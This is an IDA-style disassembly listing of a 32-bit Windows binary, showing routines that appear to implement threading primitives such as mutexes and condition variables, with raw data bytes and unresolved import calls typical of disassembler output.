		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4300F7 ; default
		jmp	off_4300FC[ecx*4] ; switch jump


loc_4300D5:				; DATA XREF: ___:off_4300FCo
		call	sub_401708	; jumptable 004300CE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300DD:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017B2	; jumptable 004300CE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300E5:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300ED:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 0
		call	sub_40161D

locret_4300F7:				; CODE XREF: ___:004300CCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4300FC	dd offset loc_4300ED	; DATA XREF: ___:004300CEr
		dd offset loc_4300D5	; jump table for switch	statement
		dd offset loc_4300DD
		dd offset loc_4300E5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430130:				; CODE XREF: ___:004017B7j
		mov	eax, dword_50E3E8
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 0E8570A75h, 7780A1B7h, 4C48390h
		dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430180	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_50E900
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_4301AB
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_4301AB
		push	eax
		nop
		call	near ptr 2740000h
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4301B0


loc_4301AB:				; CODE XREF: sub_430180+14j
					; sub_430180+1Bj
		mov	esi, 3


loc_4301B0:				; CODE XREF: sub_430180+29j
		push	offset dword_50E900
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4301CC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4301CE


loc_4301CC:				; CODE XREF: sub_430180+3Dj
		mov	eax, esi


loc_4301CE:				; CODE XREF: sub_430180+4Aj
		pop	esi
		retn
sub_430180	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301F0:				; CODE XREF: ___:0040164Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_430241
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_430241
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_430221
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 2730E5Ah
		test	eax, eax
		jnz	short loc_430227
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_430221:				; CODE XREF: ___:00430209j
					; ___:0043022Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430227:				; CODE XREF: ___:00430217j
		cmp	dword ptr [esi], 0
		jnz	short loc_430221
		mov	edi, dword_50F8D0


loc_430232:				; CODE XREF: ___:00430239j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_430232
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430241:				; CODE XREF: ___:004301F9j
					; ___:00430201j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430270	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_50E3E8
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_430270	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h,	7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 23005DCh, 0F8701D8Bh
		dd 26A0050h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0ACBE850h
		dd 50900232h, 0E850D3FFh, 2300613h, 5BC08590h, 0E8560E75h
		dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 230FD18h
		dd 28468990h, 0E3E8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430340	proc near		; CODE XREF: sub_401A50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43035E
		test	eax, eax
		jz	short loc_430358
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43035E


loc_430358:				; CODE XREF: sub_430340+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43035E:				; CODE XREF: sub_430340+Aj
					; sub_430340+16j
		xor	eax, eax
		retn
sub_430340	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430380:				; CODE XREF: ___:00401FF0j
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43038E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43038E:				; CODE XREF: ___:00430386j
		mov	dword_50E3F8, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4303B0:				; CODE XREF: ___:0040155Aj
		mov	eax, dword_50E3F8
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4303D0	proc near		; CODE XREF: sub_401B13j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4303F2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_430439


loc_4303F2:				; CODE XREF: sub_4303D0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 27304F8h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_430439
		push	esi
		call	sub_401BBD
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430439:				; CODE XREF: sub_4303D0+20j
					; sub_4303D0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4303D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430460	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_50E900
		nop
		call	near ptr 7C901005h
		mov	esi, dword_44574C
		cmp	esi, 1
		jz	short loc_430495
		mov	eax, [esi+8]
		push	offset dword_50E900
		mov	dword_44574C, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430495:				; CODE XREF: sub_430460+15j
		push	offset dword_50E900
		xor	esi, esi
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_430460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4304D0	proc near		; CODE XREF: sub_401BBDj

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_50E900
		call	near ptr 7C901005h
		nop
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_44574C
		push	offset dword_50E900
		mov	[edx+8], eax
		mov	dword_44574C, edx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		retn
sub_4304D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_430540
sub_430520	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430540	proc near		; CODE XREF: sub_430520+7p
					; sub_430660+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_430540	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_430576
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43057E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43057E
		mov	edi, 2
		jmp	short loc_43057E
; ---------------------------------------------------------------------------


loc_430576:				; CODE XREF: ___:0043055Bj
		mov	dword ptr [esp+0Ch], 0


loc_43057E:				; CODE XREF: ___:00430562j
					; ___:0043056Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 2730378h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_430609
		dec	ecx
		jz	short loc_4305B4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4305B4:				; CODE XREF: ___:00430599j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 2750000h
		test	esi, esi
		jz	short loc_4305FE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4305F5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4305F5:				; CODE XREF: ___:004305D9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4305FE:				; CODE XREF: ___:004305C1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_430609:				; CODE XREF: ___:00430596j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430660	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_430540
sub_430660	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430690	proc near		; CODE XREF: sub_401C03j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4306C4
		push	esi
		push	ecx
		call	sub_402199
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4306C4:				; CODE XREF: sub_430690+17j
		test	eax, eax
		jnz	short loc_4306CD
		mov	esi, 16h


loc_4306CD:				; CODE XREF: sub_430690+36j
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430690	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430700	proc near		; CODE XREF: sub_402199j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_430714
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430714:				; CODE XREF: sub_430700+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_43072F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_43072F
		cmp	dword ptr [eax], 1
		jnz	short loc_43072F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43072F:				; CODE XREF: sub_430700+1Aj
					; sub_430700+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_430754
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430754:				; CODE XREF: sub_430700+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_430770
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_430770
		mov	edi, [edi+4]
		jmp	short loc_430772
; ---------------------------------------------------------------------------


loc_430770:				; CODE XREF: sub_430700+63j
					; sub_430700+69j
		xor	edi, edi


loc_430772:				; CODE XREF: sub_430700+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4307AD
		push	esi
		mov	ebp, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307AD:				; CODE XREF: sub_430700+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		call	near ptr 2750A65h
		nop
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_430700	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430810	proc near		; CODE XREF: sub_40222Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_4308F0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4308F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4308B5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_40177B
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_4308EB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_4308A7
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_4308A0
		add	edx, 10h
		push	edx
		call	sub_401686
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		call	near ptr 275036Eh
		nop
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: sub_430810+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A7:				; CODE XREF: sub_430810+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308B5:				; CODE XREF: sub_430810+1Dj
		push	offset dword_50E960
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_4308DB
		push	offset dword_50E960
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308DB:				; CODE XREF: sub_430810+B3j
		push	offset dword_50E960
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_4308EB:				; CODE XREF: sub_430810+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308F0:				; CODE XREF: sub_430810+Aj
					; sub_430810+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430810	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430940	proc near		; CODE XREF: sub_401A0Fj

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_430963
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_430963:				; CODE XREF: sub_430940+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_430940	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430990	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_4309B1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_4309B1
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B1:				; CODE XREF: sub_430990+9j
					; sub_430990+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_430990	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4309D0:				; CODE XREF: ___:00401BA9j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4309ED
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4309ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_4309ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4309ED:				; CODE XREF: ___:004309D6j
					; ___:004309DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430A10:				; CODE XREF: ___:004018F7j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430A3A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_430A3A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_430A2E
		test	eax, eax
		jnz	short loc_430A3A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_430A2E:				; CODE XREF: ___:00430A25j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_430A3A:				; CODE XREF: ___:00430A16j
					; ___:00430A1Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A50	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430A71
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430A71
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_430A71
		cmp	edx, 2
		jg	short loc_430A71
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_430A71:				; CODE XREF: sub_430A50+8j
					; sub_430A50+Ej ...
		mov	eax, 16h
		retn
sub_430A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A90	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430AAE
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430AAE
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_430AAE
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_430AAE:				; CODE XREF: sub_430A90+8j
					; sub_430A90+Ej ...
		mov	eax, 16h
		retn
sub_430A90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430AD0	proc near		; CODE XREF: sub_402225j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_430B87
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430B87
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430B01
		push	esi
		call	sub_401C03
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_430B01
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B01:				; CODE XREF: sub_430AD0+1Dj
					; sub_430AD0+2Cj
		mov	esi, [esi]
		push	esi
		call	near ptr 2730E5Ah
		nop
		test	eax, eax
		jnz	short loc_430B2A


loc_430B0E:				; CODE XREF: sub_430AD0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430B22
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430B22:				; CODE XREF: sub_430AD0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B2A:				; CODE XREF: sub_430AD0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430B6A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 31F6A8E8h
		dd 7E839002h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B6A:				; CODE XREF: sub_430AD0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_430BC0
		add	esp, 4
		test	eax, eax
		jz	short loc_430B0E
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B87:				; CODE XREF: sub_430AD0+Aj
					; sub_430AD0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430AD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430BC0	proc near		; CODE XREF: sub_430AD0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_430BDA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		call	near ptr 2740E6Bh
		nop
		test	eax, eax
		jnz	short loc_430BDA
		retn
; ---------------------------------------------------------------------------


loc_430BDA:				; CODE XREF: sub_430BC0+6j
					; sub_430BC0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_430BC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430C00	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_430D98
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430D98
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430C31
		push	esi
		call	sub_401C03
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_430C31
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C31:				; CODE XREF: sub_430C00+1Dj
					; sub_430C00+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 2730E5Ah
		test	eax, eax
		jnz	short loc_430C62


loc_430C40:				; CODE XREF: sub_430C00+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C62:				; CODE XREF: sub_430C00+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430CA6
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0F56FE890h
		dd 7E830231h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CA6:				; CODE XREF: sub_430C00+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_430CBA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CBA:				; CODE XREF: sub_430C00+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_430E10
		add	esp, 8
		sub	eax, 0
		jz	loc_430D7A
		dec	eax
		jz	short loc_430D44
		dec	eax
		jz	short loc_430CE5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CE5:				; CODE XREF: sub_430C00+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_430D17
		call	near ptr 27501F5h
		nop
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D17:				; CODE XREF: sub_430C00+101j
		call	near ptr 27501F5h
		nop
		test	eax, eax
		jl	short loc_430D36
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430D36
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]


loc_430D36:				; CODE XREF: sub_430C00+11Fj
					; sub_430C00+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D44:				; CODE XREF: sub_430C00+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_430D6A
		push	esi
		call	near ptr 27501F5h
		nop
		mov	ebp, 274Ch


loc_430D6A:				; CODE XREF: sub_430C00+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_430D91
		jmp	loc_430C40
; ---------------------------------------------------------------------------


loc_430D7A:				; CODE XREF: sub_430C00+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430D8E:				; CODE XREF: sub_430C00+4Dj
					; sub_430C00+187j
		mov	[esi+0Ch], eax


loc_430D91:				; CODE XREF: sub_430C00+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------
